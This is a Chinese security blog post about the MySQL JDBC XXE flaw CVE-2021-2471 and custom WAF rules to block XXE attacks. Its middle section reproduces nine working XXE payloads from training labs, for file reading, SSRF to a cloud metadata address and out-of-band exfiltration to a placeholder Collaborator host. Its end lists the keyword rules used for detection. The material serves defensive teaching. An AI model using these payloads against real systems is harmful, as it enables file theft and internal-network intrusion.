暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

CVE-2021-2471 XXE漏洞的WAF阻断思路

xiaozhu佩奇学安全 2021-10-22
1618

JDBC,全称Java Database Connectivity(Java数据库连接),Java语言中用来规范客户端程序如何来访问数据库的应用程序接口,提供诸如查询和更新数据库中数据的方法。


mysql数据库隶属于Oracle公司。


Oracle MySQL JDBC XXE漏洞(CVE-2021-2471),阿里云安全团队发现的。

https://mp.weixin.qq.com/s/erIFMiPNB2XSBJSqXyxuKg


这MySQL JDBC 8.0.27版本之前,存在"getSource()"方法未对传入的XML数据做校验,导致攻击者可以在XML数据中引入外部实体,造成XXE攻击。


目前尚无POC或EXP,可以按照防范一般XML实体注入的办法改进自定义阻断策略。


先知社区有一篇文章叫《一篇文章带你深入理解漏洞之XXE 漏洞》可以作为比较好的参考。


vulhub靶场有两个漏洞样例:


PHP环境 XML外部实体注入漏洞(XXE)

https://vulhub.org/#/environments/php/php_xxe/


Apache solr XML 实体注入漏洞(CVE-2017-12629)

https://vulhub.org/#/environments/solr/CVE-2017-12629-XXE/


portswigger漏洞实验室有9个样例:


博客园lonmar的文章《BurpWeb安全学院之XXE》有完整的实验复现。


portswigger对xxe漏洞的解释

https://portswigger.net/web-security/xxe


portswigger对XML实体的解释

https://portswigger.net/web-security/xxe/xml-entities


一.外部实体利用XXE漏洞任意文件读取


在 XML 声明和stockCheck元素之间插入以下外部实体定义:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>


二.利用XXE进行SSRF攻击


在 XML 声明和stockCheck元素之间插入以下外部实体定义:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>


三.带外交互的盲打XXE


在 XML 声明和stockCheck元素之间插入以下外部实体定义,但在指示的地方插入 Burp Collaborator 子域:
<!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]>


四.XML参数实体进行带外交互的盲打XXE


在 XML 元素之间插入以下外部实体定义,但在指示的地方插入 Burp Collaborator 子域:
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> %xxe; ]>


五.恶意外部DTD利用XXE


将 Burp Collaborator 负载放入恶意 DTD 文件中:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;


在 XML 声明和stockCheck元素之间插入以下外部实体定义:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>


六.通过错误消息盲打XXE


单击“转到漏洞利用服务器”并将以下恶意 DTD 文件保存在您的服务器上: 导入时,此页面会将其内容读入实体,然后尝试在文件路径中使用该实体。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;
/etc/passwdfile


在 XML 声明和stockCheck元素之间插入以下外部实体定义: 您应该看到一条包含文件内容的错误消息。
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>
/etc/passwd


七.复用本地DTD进行XXE攻击


在 XML 声明和stockCheck元素之间插入以下参数实体定义: 这将导入 Yelp DTD,然后重新定义实体,触发包含文件内容的错误消息。
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>
ISOamso/etc/passwd


八.XInclude任意文件读取


将productId参数值设置为:
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>


九.上传图片利用XXE


使用以下内容创建本地 SVG 图像:

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>


很多WAF设备有默认策略阻断XXE漏洞攻击,依然不妨碍我们自定义。


一.主要策略:


同时满足1,2两个条件的请求,直接阻断,可以拦截大部分的XXE攻击,请求参数,请求头值都应用是为了保险起见。


1-POST,GET请求参数或请求头值中同时包含<!DOCTYPE<!ENTITY,而且区分大小写。


2-POST,GET请求参数或请求头值中包含SYSTEMPUBLIC


二.补充策略:


满足1或2之一的,直接阻断。


1-POST,GET请求参数或请求头值包含<!ENTITY一项,且包含file://php://ftp:///etc/passwd


2-POST,GET请求参数或请求头值,同时包xmlns:xixi:include两项,且包含http://


三.应用流量监测策略


1-返回包是否包含

root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologin

很多探测会优先用/etc/passwd


2- 请求参数或请求头值是否包含<!ENTITY关键词,去发现没有被清洗的流量。


编码绕过WAF的可能性也存在,此外要关注好漏洞分析详情和POC,EXP的公布。


文章转载自xiaozhu佩奇学安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论